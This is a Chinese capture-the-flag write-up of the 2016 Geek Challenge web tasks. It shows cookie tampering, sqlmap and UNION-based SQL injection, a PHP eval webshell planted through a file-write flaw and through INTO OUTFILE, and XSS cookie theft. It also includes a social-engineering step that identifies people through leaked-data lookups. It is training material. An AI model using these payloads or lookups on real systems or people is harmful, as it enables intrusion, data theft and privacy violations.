第七届极客大挑战

发表于 | 分类于 | 热度 ℃ 
1
2
3
4
5
6
7
8
9
10
11
12
13
RcoIl@kali:~$ ls
teamInfo  baseInfo
RcoIl@kali:~$ cat teamInfo
战队名称:RcoIl
战队hash:7cfe3df08ca8d03c8767f0e5c88a636f
成员：RcoIl
RcoIl@kali:~$ cat baseInfo
基本信息:
姓名:
个人分数:3970
学号:
学院:
手机号码:

Web

web_1(score:50)

来搞web了，先瞅瞅基础姿势 http://web.sycsec.com/a59817b3061870c0/

解法：打开网址发现是一张图片，图片上说明flag在别的地方，使用burpsuite进行抓包，在Response中即可看到flag
flag：SYC{This_1s_Http_he4der}

web_2(score:50)

来搞web了，先瞅瞅基础姿势 http://web.sycsec.com/ce9b3a20d290fbc8/

解法：打开网址，看到的是

1
2
3
Hello guest@geekgame
Welcome to GeekGame2016@Syclover
You are not admin,I am sorry you can't see the flag

所以是要admin用户登录，但是有没有登录框，所以就cookie方面。
用Firefox将cookie中的Cookie: whoami=guest%40geekgame; root=o;改成Cookie: whoami=admin%40geekgame; root=1;，刷新页面
flag：SYC{Welc0me_b4ck_4dm1n}

Social Engineering(score:200)

有一天我捕了一只狗师傅，嘴里叼着一张纸，纸上赫然写着：http://web.sycsec.com/36da077bd47665ae/ (解题不需要联系题目邮箱和电话号码，请不要试图联系题目的邮箱和电话号码)

解法：看到题目，社会工程学。
fun678@126.com
13904011607
我是一个有贴吧的男人！
到70sec社工库查询两个信息，都看到肖力这个名字，然后到贴吧里面搜这个肖力吧—看了帖子的日期，有个是近期的，而且还有个扣扣贴出来3077791373，加了这个扣扣为好友，看了信息确实是和比赛有关的，看了资料没见什么有用的信息，翻空间，最后在留言板哪里看到了这样一句话：听说域名的注册人联系号码就是flag诶！！！
但是不知道是哪个域名，那就查吧。查了主页的，发现注册人是叫胡浪宇邮箱：casperkid.syclover@gmail.com。然后没有什么信息了。google了一波

1
2
3
4
5
6
Name
Syclover Aries
Phone number
+86.13412341234
Address
CUIT Syclover ChengDu SiChuan 610000 CN

flag：SYC{13412341234}

sqli1(score:100)

呃，听说这个和数据库有关呢-，- http://web.sycsec.com/d03e52c272e42e7c/

解法：看题目，是注入。看源代码，发现Tip:sycid
URL：http://web.sycsec.com/d03e52c272e42e7c/?sycid=

1
2
3
4
5
6
7
8
9
10
11
12
http://web.sycsec.com/d03e52c272e42e7c/?sycid=1
Good Luck！Tip:sycid
select * from syc where sycid=1
1->pwnpwnpwn!->0xmuhe
http://web.sycsec.com/d03e52c272e42e7c/?sycid=2
Good Luck！Tip:sycid
select * from syc where sycid=2
2->mushifuzuishuai->Lemon
http://web.sycsec.com/d03e52c272e42e7c/?sycid=3
Good Luck！Tip:sycid
select * from syc where sycid=3
3->wozuishuai->[+.+]

然而，这些信息好像在手工上没什么用处，试试用sqlmap跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sycid (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sycid=1 AND SLEEP(5)
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: sycid=-2990 UNION ALL SELECT NULL,NULL,CONCAT(0x716a626271,0x6d6161
6c7255756242696b476258515864586674567a6e66794d707771564e6b526f73704a70416b,0x717
8716271)-- oPDy
---
[21:52:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3
back-end DBMS: MySQL >= 5.0.12
------------------------------------------------------------------------------------
Database: sycsqli1
Table: #FL4G#
[1 entry]
+--------------------------+
| flag                     |
+--------------------------+
| SYC{Sqli_1s_Not_So_Hard} |
+--------------------------+

sqli2(score:150)

我是萌萌哒sqli2：http://web.sycsec.com/a2274e0e500459f7/

解法：一个登陆框，应该是post注入。
试了试，是在username和password存在，

1
payload：'%2b(select*from(select(sleep(20)))a)%2b'

这种还是老老实实的抓包丢到sqlmap里面跑吧。
但是解不出来，应该是有限制的，抓包修改了debug的值，出现：

1
2
Tip: Only 1 row returned can you get flag.
只有一行返回才能拿到flag

这时候想起来，post注入不是还有另一种，不用抓包的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sqlmap -u "http://web.sycsec.com/a2274e0e500459f7/login.php" --data "username=a&password=a&debug=1"
 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=a' AND (SELECT 7336 FROM(SELECT COUNT(*),CONCAT(0x7171717071,(SELECT (ELT(7336=7336,1))),0x7176767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZrQZ'='ZrQZ&password=a&debug=1
---
[12:02:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
---------------------------------------------------------------------------------------------
Database: sycsqli2
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| admin    | 23333    |
| guest    | welcome  |
+----------+----------+
 
Congrats, Flag is: SYC{G00d_K33p_Trying_Wish_U_Success}

另一种方法：(修改post提交，简单说就是万能密码)
payload：’ union select 1,1# 或 admin’ or ‘1’=’1

127.0.0.x(score:200)

落雨声滴答滴滴,回荡着轻声细语:http://game.sycsec.com:50080/69e57206e1bc2a23/

解法：查看源代码发现一串base64加密：

1
2
3
aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS5oay93ZWJocD9obD16aC1DTiZzb3VyY2VpZD1jbmhwJmd3c19yZD1zc2wjbmV3d2luZG93PTEmc2FmZT1zdHJpY3QmaGw9emgtQ04mcT0xMjcuMC4wLjI=
解密得到
https://www.google.com.hk/webhp?hl=zh-CN&sourceid=cnhp&gws_rd=ssl#newwindow=1&safe=strict&hl=zh-CN&q=127.0.0.2

是查询127.0.0.2，但是127.0.0.1–255的结果不都一样的吗，然后就伪造IP个个尝试访问，发现每个返回滴滴的个数都不一样，所以写个脚本遍历1–255这个段，引用一航同学的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding:utf8
import requests
url = "http://game.sycsec.com:50080/69e57206e1bc2a23/"
headers = {
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
          'Accept-Encoding':'gzip, deflate, sdch',
          'Accept-Language':'zh-CN,zh;q=0.8',
          'Cache-Control':'no-cache',
          'Connection':'keep-alive',
          'Cookie':'__cfduid=dd80d162f768e8bc3d8564f32286b69301476092200',
          'Host':'game.sycsec.com:50080',
          'Pragma':'no-cache',
          'Upgrade-Insecure-Requests':'1',
          'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) Chrome/53.0.2785.116 Safari/537.36',
          'X-Forwarded-For':''
      }
s = requests.Session()
for i in range(0,256):
  ip = "127.0.0." + str(i)
  headers['X-Forwarded-For'] = ip
  response = s.get(url, headers=headers)
  print ip + "\t" + response.text

跑完之后我们对打印出的数据进行分析 :
首先去掉每次请求返回的重复数据
然后通览全文 , 直接发现没有被去掉的就是flag.
当然，也可以这样

1
2
3
4
5
6
7
8
import requests
url = 'http://game.sycsec.com:50080/69e57206e1bc2a23/'
for i in xrange(1,256):
        h = {'X-Forwarded-For':'127.0.0.'+str(i)}
        rep = requests.get(url,headers=h)
        if 'SYC' in rep.content:
                print rep.content
                break

flag：SYC{Shan_Dong_Ren_Xiong_Qi}

php_is_fun(score:200)

phpinfo() is disabled; http://game.sycsec.com:50084/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}
 
if(strpos($path,'..') > -1){
    die('SYCwaf!');
}
 
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

解法：在服务器端访问以http://127.0.0.1/开头的一个页面 ,
将页面的内容保存到服务器的web目录下的upload文件夹下，总的来说大概就是上传获取。
(过程的payload显示得莫名其妙，就删掉了)
最后看了一航同学的payload，发现是编码问题。

1
http://game.sycsec.com:50084/?file=http://127.0.0.1/?file=http://127.0.0.1/%3Ffile%3Dindex.php%26path%3D%3C?php%2520eval($_POST[%27admin%27]);?%3E&path=rcoil.php

最后连一句话读upload下的内容
flag：SYC{3992a1e498d69161}
饶了个弯将一句话才写进去

撸啊撸(score:300)

喜欢玩LOL么 http://lol.sycsec.com

解法：貌似也是有注入的，在Referer，但是前面已经两道注入，但是又发现有个download.php,尝试下download.php可以下载源码，然后下载display.php,在里面发现config.inc.php，下载下来，

1
2
3
4
5
6
7
<?php
    return array(
        'db_host' => 'localhost',
        'db_user' => 'syclol',
        'db_pwd' => 'fJBGpEfu3wWLvNHB',
        'database' => 'syclol'
    );

数据库的链接所需数据。
在api.php中发现执行Sql查询的语句

1
2
$sql = "SELECT * FROM images LIMIT $img_first,$img_num";
$result = mysqli_query($conn,$sql);

既然是程序和用户交互的地方，因为这种地方在参数传递的时候没有对参数的类型和正确性进行判断，那就会留给我们利用的余地。
我们再看看这个：

1
2
3
4
5
$check = is_numeric($img_num) and is_numeric($img_first);
 
if (!$check){
    $img_num = intval($img_num);
    $img_first = intval($img_first);

根据运算优先级知道，$check 这个变量的值就只取决于 $img_num.所以只要满足$img_num，就相当于$check也满足了。而剩下的$img_first就可以用来构造我们所需要的语句了。
构造：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select 1,2--+
 
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select database(),version()--+
结果：{"result":[{"id":"syclol","path":"5.1.71"}]}
---->mysql 5.0版本以后提供了information.schema表，表中记录了数据库中所有的库、表、列等信息
 
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select 1,group_concat(schema_name) from information_schema.schemata--+
爆出所有的库名：{"result":[{"id":"1","path":"information_schema,syclol"}]}
 
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='syclol'--+
爆出所有表名：{"result":[{"id":"1","path":"images"}]}
 
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='images'--+
爆出所有字段：{"result":[{"id":"1","path":"id,path"}]}

之前看了代码知道id,path这两个是显示图片的参数。到了这里就卡住了，这时候一航同学又一次的站了出来(找一个有写权限的目录)。既然可以用联合查询语句，mysql就用into outfile那就尝试下写个shell,因为是linux系统,测试默认地址。

1
http://lol.sycsec.com/api.php?img_num=2&img_first=0 union select 1,"<?php echo phpinfo();?>" into outfile "/var/www/html/test.txt"--+

根目录写入不成功。在浏览网站的时候，我们知道有个images目录，那就尝试这个目录

1
http://lol.sycsec.com/api.php?img_num=2&img_first=0 union select 1,"<?php echo phpinfo();?>" into outfile "/var/www/html/images/test.txt"--+

能访问成功。写一句话。在根目录下找到Flag123asdzpoiwqsd.php，下载一波

1
http://lol.sycsec.com/download.php?url=Flag123asdzpoiwqsd.php

皓宝宝的留言板(score:150)

http://web.sycsec.com/42e1f42bcf3c0cfc/ 听说有很多妹子在这里写下她们对皓宝宝的爱慕之情 学习资料：https://github.com/l3m0n/XSS-Filter-Evasion-Cheat-Sheet-CN

解法：看了题目，就知道是XSS了。我们就直接用给的资料里面的参数进行测试。直接用xss平台。偷了一波cookie

1
2
3
4
5
Cookie: flag=SYC{oo_y0u_kn0W_xss}; CNZZDATA1252970113=1534700898-1476063225-|1476171869
IP: 59.172.176.132
Date and Time: 17 October, 2016, 5:07 pm
Referer: http://web.sycsec.com/42e1f42bcf3c0cfc/xss_bcf3c0cfce5eaab9abc.php
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

flag：SYC{oo_y0u_kn0W_xss}

人生苦短(score:150)

http://web.sycsec.com/40a9ddba689f8200/

解法：打开网站，将方程32+64+py=10(次),py=?解出来提交py，得到Now You See Me，查看源码，发现狗师傅不想理你，并向你丢了一坨神秘代码

1
KMYDCWSSIVHFQVJRJZFFM23II5KVMWSLKVVXAYKSNNNE4TLKJZFFGVCWJRLGWMKYKUYHQTCWNRNFSUKWNRGFKMBVJ5KGWVJQKZCXQTCTNRYEOUTLMRLVCMLEJNKWW6CIKYYDCTCXKV2FMV2VNBJFMRKOLBKGYSSPKJWE4VSTGFSE6VLLMRDVGMBRINLGW3ZRKMYGIWCWNNYFEUZROBCFORSGKVITCUSPKVWGYRSUGFLFKVCFGFJVIRS2IRKFK6CGKNVTKTCWGFRTEUJQNRGFOVTMIVITCUSEK5CXIV2NNNNE4VTKJJLVI22KJNJGWMKTKMYDSTKRNN2EQV2WJZKFKRLUJNLDAVJQKZWE4VKSGBNFIUSULJLVIRLYJZKWWUSXKIYDCQ2VNNWE6VCFMRME2MLQKNJTAMK2KIYGYWCRGFSE6VDMNRDVEVSWMFKWWOKDKEYFUUCVNRHEQUZRLJFFMRKOKZKTCQSMKZWGISCXKZFFIVSVMRDVIRK2JRLGWTSHKIYFUS2WNNWFGVL2JJFFK23UI5JXUWSEKIYHIT2WNRJEYVSFJZMFEMC2KNLEKVSWKNWEMT2VNNSEOVBRLJKVIVLMK5JVMUSEKZLE4RSTPJLEIV2FNRLU22ZVJ5KGWNKGJZDFUVKTGBYEWVCGLJFE22SKJRJWWNKLKIYWITSTGFJEYVCWNRCVKMKSJRKWWNKPJVVVMUSWNJFFQU3MOBGFE23UKNKEMVSLKRVXQRKRKZNEWVKVORQVMMCVGBLGW5CUKIYEUT2SNNWFMVJRKZGVG23YK5JVMSSNK5KXAYKTGFSFQVSWJZMVGMDMLJJEKTSSJVWFUT2UNRSEMTTMLJCFE2ZRKNKFKVLZKRKXQUSTGA2UWVSFIZHFG6SKJRJVM3CIK5LGIRCVNNSEOVJQKUZFM22SJZKGYSSFKZVVMV2VGFSE4UTLORMFMMBZJRJEK5CGK5KVUVSWKVHFOVDMJJEVEVSGKZLWYSSNKNVVUR2UKZFEYVBQORQVGMKSIRKVMTSOKMYXAWCSGBWFIUJRNBGFO222I5JVMWSUKZVTCU2SIZNEUVLLON4VG3CKJVJDCZCVKUYGQTCTKZWEOVSWJV4VMMBVJ5LDAWSIKZVXO6KTNNYEOUTLON4U2MKWJJHFK4CZKZLGIVCSKV2EUV2VNBFFMRCKLBKGYSSLKJLGYV2VGBNEWV3LGFDVEVJRIRGWW5CPKRCVMTCWNRHFQUZQGVMFEVJRKVGWYWSPKRWE4RSUGFNEGVLLPBFVGMK2JJLGW6COKN5FMS2WNMYVMVJQKZGFO23YIZHEMSSUKZDEES2UIVLEUVTKJJDVI3CKJVLFISLZK5WFUS2OKV2EQVRQGVGFEMDQMFJEKWSWKZVXIVKSGBFFUUSWMRLVCMDEJVJWWWSGJVVEUVCTGBYFGU3MMRMFI23UJVJTA3C2KYYGYVKVGFJEQUTLOBDFOVS2IRLDANKTKEYVUTCUKV2FIU3MJJGFMMLEJ5JTCQSLKZWFUV2UKZLFIVRQGVFVE222KJLFITSOKQYEUSCSNNKXSTJRKZGFI23UIZKFMWSUKRCXIU2WNRUFEVJQJZMVGMKKI5JFK3CWK5WEMUCVNRDFOVCVGFCFM23EINKEKZCYJZKU4WCTGFFFQUSWKZJU23COJRLFIUSXKRLFUS2VNMYVGU2GLJGE22SOLJJXUVSMKJVTCVCVGA2UYV3LORMVCVSVPFLEKNKTKUYFUUSWIZJE2U3MOBHFM23EJZIWYWSLKZVXASCXKZNFIV2FORDFOVS2IZKTATSTKRWEUWCSKU4VOULMJJGFO3CGK5JTCWSNK5KXAT2TNNJEEVRRJZGFGMLQK5LUMRSXKUYVET2UNM2UMVRRLJKFE23MMFJUKWSIJZWE4TCTNRFEWVTLGB5FCMDMJRHFK6CIKNLEURCWNM2U6VJQKZIFM23QKJJTCVTBKJVTA6KNGFWEWVTLOREFMMKOKRJGW5DBKZWGQSSWNJFFOURQLJKFEVCSKZLEK6CQKVVTCR2UKUYUGV3LOBJVG22WJRHFKTSVKMYDCWSWNRLFOVJRLJHVK23IIZHGYWSFKRCTSQ2SIZNEMTJQJZEFGMLQJVLDC3CUKUYDKTCUNRNFQU2WJF4VMVLUMFJGWVS2KZVUUUSUGFFFEVTLMRHFGMKOJJJWWZCVKFLFEVCUGB2E4V2VNBBFMMCOKRJDASSYKJVWYVSTNRFE6ULLMRDVI6SJPFGWW2ZRKNWFUTSWGFHFOUZRJJCFMRKOKZGWYTSKK5VTKRSWKZNE2VCFHFHU4RS2JBGTATSMKNWFUS2SIVHGCUJRLJGFMVTMJBKVMUSEKZCXIYKWGBLFAVTMJZMFG3DQJBJGW5COKFWFUS2XNNUEMU32JJCFMVLUMFITC2CSKZCU4VKUNM2VUUSVHFLVMRLYKBKGUUSWJVVTCTCWGBYEWU2FLJGE4RKOMFJTC4CNKIYGYV2RGFHEYVTKJJDFMVSZPFLGWNKDKJVVUTSVNNHEYVCFJJGFEMLMKRKTA6CMKNVXQSCXKZMXSVTLMRBVI22WLBLGUTSNKIYFURKWNNLFOU3MJJFFK23ELBLHUVSEKVCXIU2RGFNE4VSFJZMFI3CKJFJGYRSWK5WEMSCWNMYUOUSWLJFVK23UK5JDCZC2KYYU4UKTGFFFQUSUKJJVKMKWJBJGWNKGKIYVUTKUIZBEGUTMLJEFIVLTPFJWW4CNKIYWGMSRGA4UYVDKKZDVIVSNPFLDANKOK5LFUTSWNNYFEUZROBEFE2ZYPFGTC3CKK5VWQRSUKZHFIVSVORQVERKWIZKXUSSWKNLFUTKSKZLFOVSFORFVG22SK5JVITSEKMYHAV2UIVNEUVJQPBQVG6SWLBJGYVSUJVVTSTCWNJFEMVKWLJJVKVLEK5JDAWSGKRKVEUSUKVNEWUSVORMFKMLEJRLWYWSZKNLFUTCVGBSEGUTLLJLFMVSOLBKFMSSNKZVU4TSSIVLEWVTLOBMFMMLEKRJDA4CXKZVVMVSWNNHFKURQJJNFE23EKZGTAMKOKVVTCR2TKREXUVSVOBLVG3CSIJGTATLZKMYWYWSSGFWFOUZRLJEFE23QIZKVMVSVKRCTSQ2SIVNFAVTMJV4VGVSKJVJEKRSPKMYVETCSKZWFOVSWKJCFMVLUK5GWWWSKKZKE4TSTNNYEQUTLGFHFIRKWJNHFK4CVKEYUMVCUIV2GCVRQLJLFM2SKKZJTC4CNKJVWYV2VNRDEQVTLLJLVEVCJPFGWW5CLKRCVUSSWIZHFAUZRIZNFEVSWKRITCTSPKRVXIWKVGFJEWVLLORQVEMC2JJGWUTSWKNLHATCSNMYVQVJRKZGFK22OLFJVMVLZKYYDKU2WKVNEMVTLOBJFG3DQJZLGWZCOKMYHISSOKVYEOU32JZCFMMDTGFLDAVSOKZKU4V2UNRFEKUTLHFLVCMK2JBJGWTSHKRKES6SSKVWE6UZQKZGFO22OLJJWY4CMKZKFEWCRGFJEQUTLLJDVKVSWKRLDA5DBKNWFK6KNGBHFAU3MJJGVE23MKZKTC2CMKVVXQR2WKZGXSVTLGVHFOVS2JBLFISSIKRCXASCSKREXSVJQHFGVG23QLFLFMWSUKRKXIS2WNRJEIVTLJZLVEMCFPFLFM3CXJUYHQUCVNMYVOUJRLJKFM3CCI5KEKVSMKRVXIVKTGFLFUUTMKZLFKMLEJJLWW4CGJVWFK6SUKU4UGU2FLJHE22SOIZJWY4CLKJKXITSTGA2UYVDMLJMVCVSKKRLEKZCHKNVVUSSWNNYFEVBQJJGVM2ZRJZIXUSSMK5VXQRSTKZHFIVRQORJVMMCWKZLGWTSUKMYVKMCWNM4VMVCFGFFVG23EK5JHUSLZKQYGWMKTNNNEUVJQO54VG6SWJRLUKRSVJVWFET2UNNYEMUSWLJKVIRJZINJWWWSIKRKXG6KUIVFEWURRMRLVKMLEJRLFM3CXKJLE4RCVNN2FGUTLLJHFM3CKKNKEK4CMKJVVK6KNGAYU4UTLOBLFGMLEKRJVK4DBKYYFKMCWIVHFKVDMJJDVEVTEK5LEK6CIKFVFMR2RGAYUKVCVOBJVGRK2JRHGWTSKKMYDKTKSKZLFGUJRMRHVIVCKKZHGYWSLKVKXIYKTKVNE4TLKJZJFGMDQJNLEKTSXKZCUUTCTNRNFKUKULJGFI23EI5LDAVSYKZWFETKUGFFEMUTLGFHFGMBZJRKWW4CIKZ5FMRKRNN2GCVRQLJGFIVKOLBKGW4CHKJVTSVSVNRDE2U3LORDVEVS2IRKTA5DBKRCVMTCONNHFEUZRLJLVMRKOKNGWYVSMKZLGYVSSGFMXUVCFHFBVG3C2JBGWUSSYKNWEUSKSNN2FKVJQNRGFI2SWI5KFMUSEKYYDKU2UIVNFAVTLOBJVIVSKJBJGWMDZJUYGYSSOKV2EKUJRMRKFE23UKNITCZCKKZKEUUCTKZYE6USVGFLVMRJRJNLWWVSHKIYDCTKVKVYFOVCFKJCE2MCOKZJTCVS2KZKTCVKRGFHE6VLLGVDVKVSVPFLDA4CHJZDFUTSWNN4FMVCVLJFVEMLEK5KXUSSMK5WFUVSWKZLFIVSVMRDVE222IZLGYUSNKRLEUSKSNNSE4UZQHFFVG23QLBLDC4CEKZVXIR2UIVNEMVTLJZLFEMCJPFJFIUSXJVWFUT2RNNFEOVCVGFCFIMDUKNJWWUSCKUYU4WSTGBYFOVRRNRLVKMKSJ5KWWWSGJZWFMTKUIUYVGUSGLJFE43COJNKUKWSIKYYWG6KXNRFEYVDMMRDVMVSSKRLDAZCHKNCVUTSWKZYFEVBQJJGVM2ZRKNJTAOKMK5VWIWCXKZJFIUZQOMYVM3CSJRKWYTSYKMYXAT2SKRFFOUJQLJEVE23IKZHEMSSUJVVXAQ2SGFJEEVSGJZHFGMBVLBJGYVSUJVWE4SSWNNUEQUJRKZFVK23YJNJDAWSOKZWFETSTNNFEYVTLGFLFKMCWJRLWWTSZKNLGYTCWGBSEGVCFLJBFM3CSJZJWY4COKJVWG6SRGFYEQULLPBEFMMBRJRKDA5CHKYYFUVSVPJFFAUZRLEYFEVLUKZJTCZCOKVVXIR2SGFNE2VSVGFDVIRLELJGWWTSSKNWHAV2XIVWFOUZRKZHVIVCKK5LFMVSUKZVWQR2UIVNE4VLLPBNFGMCKJRJDCVSWKUYWIS2WNRNFKUJRKJCFMMDEINLVKVSYKZKEUR2UIVYEQUSUKJJVGMBZJZJGW4CVKF5FERCUNN2EUV2VMRNFM2SKKNJDAWSJKJLGYV2WIV2EWU3LKJDVIVS2KRLWYQSHKRCWIWCUNN2EKUZQOBLVM3CWKVKTCWSPKRVWQRSXKZNEIUTLOBFVEMC2IZKFK6COKMYUUTCWIVCTEUJQGFGFI3C2LFKVMTSEK5CXIYKUKZUFIVTMKJGVIVSKINLGW23ZJVWGITKRNN4EQVSWKJKFI23UKJLVMVSWKVVXIWCUNM2U2UTLHFLE2MBRJNJWWWSHKN5ES6SSKV4EGVCFNBLFM3COIZJTCWSEK5CWYVSNNRFEQUTLGVDE4RS2KRJGW4DBKRDFUSSNGBHEYU3LLJFVEMLMKNKTCZCMJZLGIRSUKZHEIVRQGVHFOVSWKBLFMTSYKRCXAR2WNNZXSTJRKZGE4VLQKVITCVSUKJKXIWSXKZKTAVSVORKVEMC2I5JGYRSWKUYVMTCTNNYFOUZQGFGFMMDQINJWWZCYJZKU4YKTGFLFUVTMKZLE23C2JRLWWSSGKIYVMVKUKV4EWUSVLJFFM23YKVKUKWSLKYYWGMCRGA2UYU2WNRMFEMBRKRKWWZCHKRVVMWSWKRFFQVDMJJCVM2ZRK5KTANKRKJVXQRKRKZYEIU2FORLFOVK2KZLFMTSYKRVTKWSSNNLFMTLLLJGVG22WI5JFISTBK5VXGMKUIVLEYVCVORHFG6SWK5LDCRSTKUYVMTCXNNUEOU2WLJKFM2ZZKNKVMWSGKVVXIWCTKZYEYV2GKZKFKMLEJRKGW6CHKZLFETCVGB2GCVCFLJIFM3COI5JDAWSHKZVWG6KNGFDEYTSVOBLVGVSSKRJFK5COK5KWQQSWNJFFMU2WLJHVEVSWK5JWYRSRKFWEMV2SPJNFIVRQPBBVG23ELJLGYTSWKNWFUV2WIZHFKUJRMRHVG222IZKFMWSMKYYHQS2TNRNEYVTLPBDFG6SWJNJEKRSYKUYGITCVNN2FOUSWKZKFMVLUK5KGWVSYKZLE4V2UGFFE4UTLORHFIRKWJNKWW6CYK5LGIVCXNN2E6VCFLJLFMRKOK5JDASSUKJKWIVSWIV4E2U3LPBDVIVS2KRKDA6CDKMYFUTSVGFHE6UZROBLVMVCSKVKTCUSRKNVVURSWGFNFKVCFHFBVIVK2JZKFK6CGKMYUUS2WKVZTCUJRIJFVO23UK5KFMWSEKQYDKU2TIVNFIVSWOBJVIRKZGBLGWVSXKZCVMTCXNNSFKUKVGFGFIMDUK5LGYUSEKVVEUVSTGFLFUVSWNRLVC3CGKBIWW6CXKJ5E4RCVGBWEWURRKJBFMRLYMFJTAMK2KYYWYWCVGFHEQUTMMRDVIMKWMFKWW6CLKJKVURSNNJHFEU2WOBGFM2ZRK5KTCWSMKVVU4VKVGFCXSVJQNRLVI222IJLGYUSOKNWFSMCWNNSFOVJQORFVM23QIZJTCSSUKVCXITSXKZNEMVSFJZKFGMLQLBJGWOKXKUYWITCTNNHEOVCWLJGVMVLTGFJDCZCYKYYU4TCTGFYEYUSWKZMFCMKSJ5KGY3CGKVLFUVKUIV2GCU3MLJEFIVKSIZJWWNKJKJVXGMCRGFNEYUSWNRLFIVS2IRLFK3CXJVVWIRCWNRFFEVCFOBGVE2ZQPFKTA5CMK5VXAVKRPJJEIVDLORFVM3DELJLGUSSXKRWEURKSKZDFOVSFPBGVG23YK5JFMWSEKNWEER2SGFSFQTSVJZGVGMKKIRLGYVSUKUYWISSXNNUEOUKWKZQVK23MMFKGWWSGKZWE4WCTGFFEUVSFJZKVKMKCJRKWYWSZKNLGITCWNNSEOU3LKZMFM23YJVKDCSSSKZVVMTSRPJFEWU3LMRMFMVSSKRLDA5CPKRCWQQSWIVHFIVDLGFNFM3CGK5JWYSSMK5VWIR2TPJEXSVBQPBDVG3C2JZLGW6DBKMYWYWSSIV2FMTLMMRGFM2ZVIZKFMWSVKRDEEQ2SGFNEUVCVORGFG2ZVJVJDCZDBKEYDSTCVNNJEMVCWJV4VIMDUK5LVKVSQKZVU4WCUGBFEIUTLHFJVIRSWJNLWW6CXKRLGIVCWGB2GCUZRKUYFM2SKKZKGYSSHKJKXIVSWIV4ESUTLPBLVCMBRJRLDA4CPKNVWIVSWKZHFSUZRJJGFMRKOKNJTCZCMKZLGYVSUGFLGCVKVORQVEMC2KBGWUSSQKRCXAS2WGFVTAUJQGFGFO23UI5JFMWLZKZVWIR2TNNLFEVSVPBHFIVSKIVLGWMKXKUYWITCVNN4EKUKUKZCVC23UJZLVMWSMJZVXIT2SGBFESUTLIZLE2MDUJRLWWZCHKJKTCTKUKUYUOU2WKJBE222OJZJTCWSXK5DEMU2NNRSEYV3LMRMVKMK2KVKEKZCXKNCVUUCWNRGXSU3LJJGVE23MKRKTA2CMKVVU4WKRKZHEIVJQORJVEVTIKRLGW4CSKNCVUSCWNNRXSTJRIZGVE23YI5KFMZCUKZKXIU2TGFUEUVL2JJMFI3CKJNJFK3CXKZCXQS2XNN4FOUSVGFCFE3CCI5KEKWSOJUYE4WKTNRLFUU2GIZLFCMK2J5KFM3CXKQYVMS2VNN4EWUZQLJHE2MCOIRJVIVSMKJKXIV2VGAYUYVLMLJMVGVS2JRLEKZCHKRCVUVSWKZJE4UZROBGVE23UJZKEKVSLKNVXQWCWPJJEIURQOBLVMMC2JRHGYTSWKMYVKMCWKVSFMTLLLJGVG23IIZGWUSSUKQYGYYKTNRSFUTSFJZGVGMDQJRLUK3CVKUYVESCRKRFFMV2WLJCVIVLYJNKFMWSEKZWE4TCTGFFE2USVORQVCMDIJRKGYWSXKZLE4VCWGA2U6V2VLJDFM22KKJJWW4CIKZVTA6KXNRFEWV3LNRMVMVSOKRKFK4ZRKZWGQUSVNRHFKUZROBEVE23MK5KWYRSQKVVXAV2UKUYUIVRQORQVIRLELBLEMTSWKMYDCWSWNN2E4UJRMRHVIVCSK5KFMWSEKJVWIR2SNRNEQTLKJZDFG6SWJNJUMVSUKRDHATCVKZWEQVRQGFGFMRJVJ5KGWVSWKZVXAUSUPJKTAVTLMMZFKMLEJNKWW6CWKMYUUVCWNNYFOVRQLJDFMRCKKZKGWNK2KJKTCVSVGFSE2U3LORLVGVSKJNLWW3CPKNWGIWCWGFHEUUZRJJGFORLDGJJTCVSKKZVVURSWGFLFGVLLGFJVIRS2JRKFK6CGKNWEUTKSNMYHUUJRNBGFG23YIZHEMSSEKZVTKT2NNNNEQVSWKJGVIRLQJFJGWMD2KEYHITCUNN2EMU32KJCFIVLUJNLGYWSMJZVXIT2SGBDFUVSUKJLFMRLYKBIWW6CHKIYDCTKSKV2FGU3MLJGE4RKSINJTC3C2KJVXITSRGFSEUVTLNBDVGMK2IVKFK4CLKJDFURSWNRJEMU32KZGVEVLTGJITA3CMKJWFUR2UKZEXSVLLMRBFOVSWJRLGWTSXKQYEUS2WNNSFGU32JJFVK23IJBLDCUSUKMYHITSXKVJEYVSFORKFGMLQJVJGWZCWKNWEUTSVNNUFOU2WLJCFGMDUMFJUKZC2KYYU4TKTGFNEYV2FNRNFGMKSJRLGWNKGJZDFETKTGBYGCU3LLJEFIVKSKJJWWNKNKJKXIVKVGFUEYV3LJZLFMVSSIRLEKNKTKRVVUTCWKV2FMVCFOBEFE23LPFGTAVSKJZKXQRKRKZNFIV2VORQVMMC2IZLE